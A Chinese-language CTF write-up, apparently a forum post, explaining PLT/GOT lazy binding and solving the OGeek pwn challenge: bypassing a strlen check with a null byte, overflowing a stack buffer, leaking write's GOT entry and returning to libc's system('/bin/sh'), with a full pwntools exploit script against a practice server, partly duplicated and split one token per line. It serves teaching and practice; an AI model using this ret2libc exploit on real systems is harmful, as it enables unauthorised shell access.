我是一个刚入门的新人,所zh以有什么错误敬请各位大佬指出 我在百度和谷歌上搜了一下这题的题解,都并不是讲得很清楚(对于新人) 作为新人,如果有什么不对的地方,敬请指正(特别是代码里面那段解释)
1.函数调用栈
2.PLT和GOT
GOT 全称是全局偏移量表(Global Offset Table),用来存储外部函数在内存的确切地址 。GOT 存储在数据段(Data Segment)内,可以在程序运行中被修改 。
PLT 全称是程序链接表(Procedure Linkage Table),用来存储外部函数的入口点 (entry),换言之程序总会到 PLT 这里寻找外部函数的地址 。PLT 存储在代码段(Code Segment)内,在运行之前就已经确定并且不会被修改,所以 PLT 并不会知道程序运行时动态链接库被加载的确切位置。
所以,PLT表内存储的就是 GOT 表中对应条目的地址。
当第一次调用这个外部函数,程序会通过 GOT 表再次跳转回 PLT 表,运行地址解析程序来确定函数的确切地址,并用其覆盖掉 GOT 表的初始值,之后再执行函数调用。
第二次调用这个外部函数时,程序仍然首先通过 PLT 表跳转到 GOT 表,此时 GOT 表已经存有获取函数的内存地址,所以会直接跳转到函数所在地址执行函数。
这样做的目的就是为了效率,当第一次调用这个外部函数后,不需要重复的解析这个外部函数的地址。
二、题目分析
1.查看保护措施 发现只有NX保护,32位文件
2.查看代码 发现buf是一个随机数(sub_80486BB是初始化缓存区的函数) 首先,发现函数中有个字符串的比较,如果字符串不相同,则会直接退出程序,而s是main函数中的buf(随机数),所以要想办法直接绕过这个比较,所以v1必须等于0。
v1 = strlen(buf),strlen这个函数有个缺陷:遇到\x00直接截断。所以我们要输入第一位数为\x00
再看一下,buf是个7位数的数组,但是函数中有read(0,buf,0x20u),而经过计算,v5相当于buf的第8位,所以v5是可以被我们指定的。
a1 就是上文中的 v5,buf的地址为[ebp-E7],如果v5为127,则会执行第一条代码,C8<E7,不能覆盖返回地址,v5需要尽可能的大,才能覆盖到返回地址。
思考一下,文件开启了NX保护,而且文件中并没有获得权限的函数,所以我们只能调用动态链接库中的‘system’类函数 已知延迟绑定机制(GOT与PLT),我们就可以伪装函数:确定函数 A 在 GOT 表中的条目位置,确定函数 B 在内存中的地址,将函数 B 的地址写入函数 A 在 GOT 表中的条目。 在这题中,我们可以泄露write函数的地址,然后用题目提供的动态共享库算出内存中system函数的地址,再用system函数的地址覆盖返回地址
三、exp
from
pwn
import
*
io
=
remote(
'node3.buuoj.cn'
,
25100
)
elf
=
ELF(
'./OGeekpwn'
)
libc
=
ELF(
'./libc-2.23.so'
)
system_libc
=
libc.symbols[
'system'
]
binsh_libc
=
libc.search(
'/bin/sh'
).
next
()
write_libc
=
libc.symbols[
'write'
]
write_plt
=
elf.plt[
'write'
]
write_got
=
elf.got[
'write'
]
main_addr
=
0x8048825
payload
=
'\x00'
+
'\xff'
*
6
+
'\xff'
io.sendline(payload)
io.recvuntil(
"Correct\n"
)
payload
=
'a'
*
(
0xe7
+
4
)
+
p32(write_plt)
+
p32(main_addr)
payload
+
=
p32(
1
)
+
p32(write_got)
+
p32(
4
)
io.sendline(payload)
write_addr
=
u32(io.recv(
4
))
base
=
write_addr
-
write_libc
system_addr
=
system_libc
+
base
binsh_addr
=
binsh_libc
+
base
payload
=
'\x00'
+
'\xff'
*
7
io.sendline(payload)
io.recvuntil(
"Correct\n"
)
payload
=
'a'
*
(
0xe7
+
4
)
+
p32(system_addr)
+
p32(main_addr)
payload
+
=
p32(binsh_addr)
io.sendline(payload)
io.interactive()
from
pwn
import
*
io
=
remote(
'node3.buuoj.cn'
,
25100
)
elf
=
ELF(
'./OGeekpwn'
)
libc
=
ELF(
'./libc-2.23.so'
)
system_libc
=
libc.symbols[
'system'
]
binsh_libc
=
libc.search(
'/bin/sh'
).
next
()
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2021-9-8 19:40
被Max_hhg编辑
,原因:
上传的附件: